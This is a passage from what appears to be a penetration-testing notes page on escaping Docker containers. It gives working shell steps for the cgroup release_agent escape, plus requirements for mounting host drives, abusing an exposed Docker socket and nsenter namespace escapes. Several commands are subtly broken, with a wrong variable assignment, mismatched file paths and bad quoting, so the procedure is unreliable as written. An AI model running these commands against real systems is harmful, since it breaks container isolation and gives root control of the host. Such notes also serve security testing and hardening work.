the container must be running with cap_sys_admin capability enabled. Verify by using the following command capsh --print | grep sys_admin
the mount command is present and enabled
Vulnerable containers are created with the following command
Procedure:
mount cgroup folder in container: mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
configure the kernel to enable execution of scripts when process is released: echo 1 > /tmp/cgrp/x/notify_on_release
find the container's file location on the host and store it in a variable: host_path=sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab
create an exploit file on target machine: echo "$host_path/cmd" > /tmp/cgrp/release_agent
insert code to be run in the exploit file. The output will be stored in a file called output.txt in the roof folder of the container: echo" CMD > $host_path/output.txt" >> /exploit && chmod a+x /exploit
create a process that instantly dies triggering our payload: sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"
Mount host drive
Requirements
current user inside the container is root
the container must be running with cap_sys_admin capability enabled. Verify by using the following command capsh --print | grep sys_admin
the mount command is present and enabled
it is possible to detect external drives. Verify with fdisk -l
Procedure:
Exposed deamon socket
Requirements:
current user inside the container is root or part of docker group
the file docker.socket is accessible inside the container. Test with find / -type f -name docker.socket 2>/dev/null
The exploit procedure is the same as detailed in the section about Docker group exploits.
Namespace exploitation
Requirements:
current user inside the container is root
the file /sbin/init is visible inside the container
the nsenter command is available inside the container
Procedure:
Run the following command to spawn a new process with the same namespace as the process with PID 1 (init) while sharing memory, hostname and network space with the container. This process will be used to spawn a shell